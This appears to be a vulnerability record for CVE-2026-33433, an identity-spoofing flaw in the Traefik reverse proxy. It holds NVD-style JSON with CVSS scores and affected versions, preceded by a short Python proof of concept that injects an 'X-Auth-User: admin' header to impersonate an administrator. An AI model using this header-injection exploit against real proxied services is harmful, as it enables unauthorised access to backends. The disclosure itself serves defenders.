CVE-2026-33433

import requests # Target URL proxied by Traefik url = "http://target-backend/api/data" # Attacker injects the canonical header name # Assuming Traefik is configured to add 'x-auth-user' (non-canonical) headers = { "User-Agent": "PoC-Client/1.0", "X-Auth-User": "admin" # Injecting canonical version to impersonate admin } response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Impersonated as admin.") print("[+] Response:", response.text) else: print("[-] Exploit failed")

{"cve": {"id": "CVE-2026-33433", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:54.980", "lastModified": "2026-04-03T17:09:06.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Traefik is an HTTP reverse proxy and load balancer. Prior to versions 2.11.42, 3.6.11, and 3.7.0-ea.3, when `headerField` is configured with a non-canonical HTTP header name (e.g., `x-auth-user` instead of `X-Auth-User`), an authenticated attacker can inject their own canonical version of that header to impersonate any identity to the backend. The backend receives two header entries — the attacker-injected canonical one is read first, overriding Traefik's non-canonical write. Versions 2.11.42, 3.6.11, and 3.7.0-ea.3 patch the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.11.42", "matchCriteriaId": "EDF93D3C-490C-4EC6-A934-8B877C389491"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.6.12", "matchCriteriaId": "5CDD2F75-D51B-4443-B0B6-4ED956ADE494"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea1:*:*:*:*:*:*", "matchCriteriaId": "7881B288-5141-4508-AB71-3F7586168437"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea2:*:*:*:*:*:*", "matchCriteriaId": "AE5788A2-CCF9-4E87-8B94-133874F99CAE"}]}]}], "references": [{"url": "https://github.com/traefik/traefik/releases/tag/v2.11.42", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/releases/tag/v3.6.11", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/security/advisories/GHSA-qr99-7898-vr7c", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}